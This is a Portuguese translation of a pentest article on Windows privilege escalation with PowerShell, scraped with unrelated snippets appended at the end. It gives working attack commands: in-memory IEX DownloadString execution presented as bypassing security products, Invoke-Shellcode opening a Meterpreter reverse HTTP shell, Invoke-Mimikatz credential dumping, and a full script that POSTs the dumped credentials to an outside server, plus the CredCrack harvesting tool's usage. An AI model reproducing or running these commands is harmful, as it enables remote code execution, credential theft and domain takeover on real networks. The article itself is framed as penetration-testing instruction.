• Nenhum resultado encontrado

Escalação de privilégio com PowerShell. Introdução. O mundo do PowerShell. Maximoz 16 de janeiro de de fevereiro de 2016 Deixe um comentário

N/A
N/A
Protected

Academic year: 2021

Share "Escalação de privilégio com PowerShell. Introdução. O mundo do PowerShell. Maximoz 16 de janeiro de de fevereiro de 2016 Deixe um comentário"

Copied!
5
0
0

Texto

(1)

Escalação de privilégio com PowerShell

Maximoz 16 de janeiro de 201620 de fevereiro de 2016 Deixe um comentário

Introdução

Escalação de privilégio é uma tarefa que se prova ser difícil às vezes. No passado, se poderia confiar no Metasploit como um framework de exploração completo. Com o Metasploit, não só seria capaz de explorar uma vulnerabilidade mas também rapidamente elevar os privilégios com o comando ‘getsystem’. De qualquer maneira, com o cenário da cybersegurança constantemente em mudança, foi apenas uma questão de tempo antes que administradores de rede implementassem novos avanços tecnológicos que detectariam e preveniriam a maioria dos payloads do Metasploit. Com uma das ferramentas favoritas de pentesters agora sendo detectada, os profissionais de segurança precisavam encontrar uma solução alternativa. Bem vindo a nova era do pentest, uma era onde colocar binários em sistemas de vítimas não é mais exigido. Uma era onde se pode executar um shellcode ou obter credenciais de maneira limpa sem mesmo tocar o sistema de arquivos. Bem vindo a era do pentest com PowerShell. Este artigo tem o objetivo de fornecer uma introdução técnica sobre como usar PowerShell para rapidamente escalar privilégios em sistemas operacionais Windows.

O mundo do PowerShell

Desde de seu lançamento em Novembro de 2006, PowerShell tem facilitado trabalhos de muitos administradores Windows. Com uma grande variedade de métodos e funcionalidades, PowerShell é muito mais poderosa e diversa que seu antecessor, o ‘command

prompt’ ou ‘prompt de comando’. De qualquer forma, apesar da funcionalidade diversa do PowerShell, há um método que cativa os

olhos dos pentesters, o método DownloadString.

O método DownloadString está presente na versão 2.0 em diante do PowerShell. Quando usado, DownloadString baixa os conteúdos de uma página web para uma string. Se a string baixada for um script PowerShell então ele pode ser executado. A melhor parte? A execução roda na memória, logo faz um bypass em produtos de segurança e na política de execução de scripts do PowerShell. Para demonstrar a funcionalidade do método DownloadString, eu criei um simples script PowerShell cujo nome é ipconfig.ps1 e executei ele em um sistema operacional Windows 10 com tudo instalado. O scritpt ipconfig.ps1 identifica a versão do PowerShell que está executando e executa o comando ipconfig. Tabela 1: conteúdo do script Ipconfig.ps1 $ver = $PSVersionTable.P SVersion.Major “You are using PowerShell version” + $ver ipconfig 1 2 3 $ver = $PSVersionTable.PSVersion.Major “You are using PowerShell version” + $ver ipconfig

Há um erro quando o script é executado localmente uma vez que a política de execução do PowerShell está configurada como

Restricted (Restrito). Figura 1: Erro de execução do PowerShell Entretanto, se for feito o upload do script para um servidor web e o método DownloadString for usado, é feito um bypass na política de execução do PowerShell. Tabela 2: Exemplo da funcionalidade do método DownloadString PS > IEX (New-Object Net.WebClient).Do wnloadString(“http s://cienciahacker.c om.br/downloads/i 1 PS > IEX (New-Object Net.WebClient).DownloadString(“https://cienciahacker.com.br/downloads/ipconfig.ps1”)

(2)

Figura 2: DownloadString baixando e executando o script ipconfig.ps1

Armados com conhecimento, profissionais de segurança começaram a criar scripts PowerShell e a combina-los com o método

DownloadString para driblar as restrições de segurança. Hoje, dois dos mais usados scripts são Invoke-Shellcode e Invoke-Mimikatz.

Ambos scripts podem ser encontrados neste Github.

Invocando Shellcode na memória

No dia 5 de Novembro de 2015 o script Invoke-Shellcode foi modificado pelo dono do seu reposótorio no Github removendo a integração do script com o Metasploit (veja mais) . Portanto o script usado neste artigo é o anterior a essa modificação cujo consegui recuperá-lo graças ao sistema de commits do Github.

O script Invoke-Shellcode permite pentesters executarem shellcodes personalizados ou payloads como o reverse_http do Metasploit. O exemplo a seguir retrata o uso do método DownloadString para evitar as restrições de segurança e executar o payload de HTTP reverso do Metasploit na memória. O script Invoke-Shellcode foi colocado em um servidor local. Tabela 3: Exemplo de comando do script Invoke-Shellcode com DownloadString PS > IEX (New-Object Net.WebClient).Do wnloadString(“http s://cienciahacker.c om.br/downloads/I nvoke-Shellcode.ps1”) 1 PS > IEX (New-Object Net.WebClient).DownloadString(“https://cienciahacker.com.br/downloads/Invoke-Shellcode.ps1”) PS > Invoke-Shellcode -Payload windows/meterpret er/reverse_http - Lhost<ip> -Lport<port> 1 PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost<ip> -Lport<port> Figura 3: DownloadString baixando e executando o script Invoke-Shellcode Depois de executar o script no sistema da vítima, deve-se obter uma shell como mostrado na Figura 3. Figura 4: Shell de HTTP reverso obtida usando o script Invoke-Shellcode

Obtendo credenciais em cache na memória

O script Invoke-Mimikatz é uma porta do Mimikatz do Benjamin Delpy criada por Joseph Bialek. Mimikatz auxilia pentesters obtendo credenciais em cache e as mostra em texto claro. Novamente, o exemplo a seguir mostra o uso do script Invoke-Mimikatz usando o método DownloadString. Tabela 4: Exemplo de comando do script Invoke-Mimikatz com DownloadString PS > IEX (New-Object Net.WebClient).Do wnloadString(“http s://cienciahacker.c om.br/downloads/I nvoke-1 PS > IEX (New-Object Net.WebClient).DownloadString(“https://cienciahacker.com.br/downloads/Invoke-Mimikatz.psnvoke-1”)

(3)

PS > Invoke- Mimikatz -DumpCreds

1 PS > Invoke-Mimikatz -DumpCreds

Figura 5: Execução do Mimikatz na memória com DownloadString do PowerShell

A habilidade de executar esse script na memória é incrivelmente poderosa para pentesters. Imagine obter as credenciais recursivamente de todos os sistemas em um domínio. Seria possível obter as credenciais do administrador de domínio em segundos e escalar privilégios com êxito. Aí é onde o CredCrack entra em ação.

Automatizando escalação de privilégio com CredCrack

Pentesters amam automatização, de fato nós amamos automatizar quanto mais coisas possíveis. Felizmente, há ferramentas que

foram criadas para automatizar a exploração e escalação de privilégio e tornar a vida dos pentesters mais fácil. Com ótimas ferramentas, como Empire, PowerUp e CredCrack, pode-se ir de usuário de domínio para administrador de domínio em segundos. A seção a seguir irá demonstrar como usar CredCrack, um popular script de coleta de credenciais. CredCrack foi criado e lançado por mim, Jonathan Broche, em Agosto de 2015. Desde então, se tornou uma ferramenta popular entre os pentesters e na comunidade online. CredCrack tem duas principais funcionalidades: enumeração de compartilhamentos e coleta de credenciais. Tabela 5: Menu de ajuda do CredCrack usage: credcrack.py -h -d DOMAIN -u USER (-f FILE | -r RHOST) -es -l LHOST -t THREADS CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny) optional arguments: -h, --help show this help message and exit -f FILE, --file FILE File containing IPs to harvest creds from. One IP per line. -r RHOST, --rhost RHOST Remote host IP to harvest creds from. -es, --enumshares Examine share access on the remote IP(s) -l LHOST, --lhost LHOST Local host IP to launch scans from. -t THREADS, --threads THREADS Number of threads (default: 10) Required: -d DOMAIN, --domain DOMAIN Domain or Workstation -u USER, --user USER Domain username Examples: ./credcrack.py -d acme -u bob -f hosts -es ./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 usage: credcrack.py -h -d DOMAIN -u USER (-f FILE | -r RHOST) -es -l LHOST -t THREADS CredCrack - A stealthy credential harvester by Jonathan Broche (@g0jhonny) optional arguments: -h, --help show this help message and exit -f FILE, --file FILE File containing IPs to harvest creds from. One IP per line. -r RHOST, --rhost RHOST Remote host IP to harvest creds from. -es, --enumshares Examine share access on the remote IP(s) -l LHOST, --lhost LHOST Local host IP to launch scans from. -t THREADS, --threads THREADS Number of threads (default: 10) Required: -d DOMAIN, --domain DOMAIN Domain or Workstation -u USER, --user USER Domain username Examples: ./credcrack.py -d acme -u bob -f hosts -es ./credcrack.py -d acme -u bob -f hosts -l 192.168.1.102 -t 20

Uma vez que as credenciais do usuário foram comprometidas, é recomendado usar a funcionalidade de enumeração de compartilhamentos (-es, –enumshares) para identificar os sistemas que o usuário comprometido tem acesso de administrador. A funcionalidade de enumeração de compartilhamentos usa o protocolo SMB para testar compartilhamentos com acesso de escrita no sistema fornecido. Sistemas que concedem acesso de leitura/escrita para seu compartilhamento administrativo (“C$”) indica que o usuário tem acesso administrativo local.

Figura 6: Enumerando acessos a compartilhamentos com CredCrack

Depois de usar a funcionalidade de enumeração de compartilhamentos, o pentester criaria uma lista de sistemas com acesso administrativo e executaria neles a funcionalidade de coleta de credenciais do CredCrack. A coleta de credenciais do CredCrack funciona executando o script Invoke-Mimikatz usando o método DownloadString do PowerShell contra os sistemas fornecidos. As vítimas irão executar o Invoke-Mimikatz e enviar as credenciais através de uma requisição POST de volta ao sistema do pentester.

(4)

Figura 7: Ilustração do CredCrack enviando o Invoke-Mimikatz para os sistemas das vítimas Abaixo está o script PowerShell inicial que as vítimas estarão executando: Tabela 6: Script PowerShell que o CredCrack irá executar nas vítimas PowerShell IEX (New-Object Net.WebClient).Do wnloadString('http s://cienciahacker.c om.br/downloads/I nvoke-Mimikatz.ps1'); $creds = Invoke- Mimikatz -DumpCreds; $request = System.Net.WebRe quest::Create('http s://cienciahacker.c om.br/creds.php'); $request.Method = “POST”; $request.ContentT ype = “application/x- www-form-urlencoded”; $bytes = System.Text.Encodi ng::ASCII.GetBytes ($creds); $request.ContentL ength = $bytes.Length; $requestStream = $request.GetReque stStream(); $requestStream.Wr ite($bytes, 0, $bytes.Length); $requestStream.Cl ose(); $request.GetRespo nse(); 1 2 3 4 5 6 7 8 9 10 11 IEX (New-Object Net.WebClient).DownloadString('https://cienciahacker.com.br/downloads/Invoke-Mimikatz.ps1'); $creds = Invoke-Mimikatz -DumpCreds; $request = System.Net.WebRequest::Create('https://cienciahacker.com.br/creds.php'); $request.Method = “POST”; $request.ContentType = “application/x-www-form-urlencoded”; $bytes = System.Text.Encoding::ASCII.GetBytes($creds); $request.ContentLength = $bytes.Length; $requestStream = $request.GetRequestStream(); $requestStream.Write($bytes, 0, $bytes.Length); $requestStream.Close(); $request.GetResponse(); Uma vez que o Mimikatz foi executado no sistema da vítima através do PowerShell, ele irá enviar as credenciais em uma requisição POST para o sistema do pentester. Figura 8: Ilustração do CredCrack enviando as credenciais em uma requisição POST para o pentester Figura 8: Ilustração do CredCrack enviando as credenciais em uma requisição POST para o pentester

Depois de todas as vítimas terminarem a execução do Mimikatz, CredCrack irá pesquisar por qualquer combinação na lista do administrador de domínio para ver se uma conta do administrador de domínio foi obtida e se sim, ele mostra na tela as credenciais da conta.

(5)

Administrador de domínio em apenas 10.9 segundos! CredCrack se provou ser uma das formas mais rápidas de escalação de privilégio em ambientes de grandes empresas e este é apenas um exemplo das muitas ferramentas poderosas disponíveis para profissionais de segurança hoje.

Conclusão

Há muitas formas de escalar privilégios em uma rede e as ferramentas mencionadas anteriormente são apenas um punhado delas. O cenário da cybersegurança está sempre mudando e há sempre algo para ser aprendido. Tente as metodologias mencionadas para seus futuros pentests e não desanime na busca de novas metodologias e na construção na próxima melhor ferramenta! Fonte: Pentest Magazine Links úteis: PowerShell Empire PowerUp Windows PowerShell Reference Método DownloadString Autor: Jonathan H. Broche Traduzido por: Ygor Máximo

Referências

Documentos relacionados

Enquanto isso, é importante que você nos envie os formulários de Prova do Fabricante e Ruptura, assim eles chegarão aqui no prazo de vencimento, ou seja 1˚ de junho de 2006

[1] Roteiro da disciplina disponibilizado pelo docente, Sebenta de Instrumentação e Medidas - Apontamentos das aulas teóricas, ISE/UALg. [2] Aurélio Campilho,

Esse autor relata ainda melhora nas dimensões “estado geral de saúde”, “dor” e “aspecto social”, concluindo também que a reabilitação física é benéfica para

Our contributions are: a set of guidelines that provide meaning to the different modelling elements of SysML used during the design of systems; the individual formal semantics for

6 Consideraremos que a narrativa de Lewis Carroll oscila ficcionalmente entre o maravilhoso e o fantástico, chegando mesmo a sugerir-se com aspectos do estranho,

Todavia, o Poder Judiciário tem entendido em sentido contrário, restando assente no âmbito do Superior Tribunal de Justiça que a alíquota de contribuição para o SAT é aferida

O presente programa está vocacionado para utilizar o modo: gradiente vertical magnético, só sendo possível visualizar os dados do valor total do campo magnético

Segundo Éric Laurent, a psicose ordinária se caracteriza pela não resposta aos significantes-mestres tradicionais, manifestando o fim do poder do Nome-do-Pai como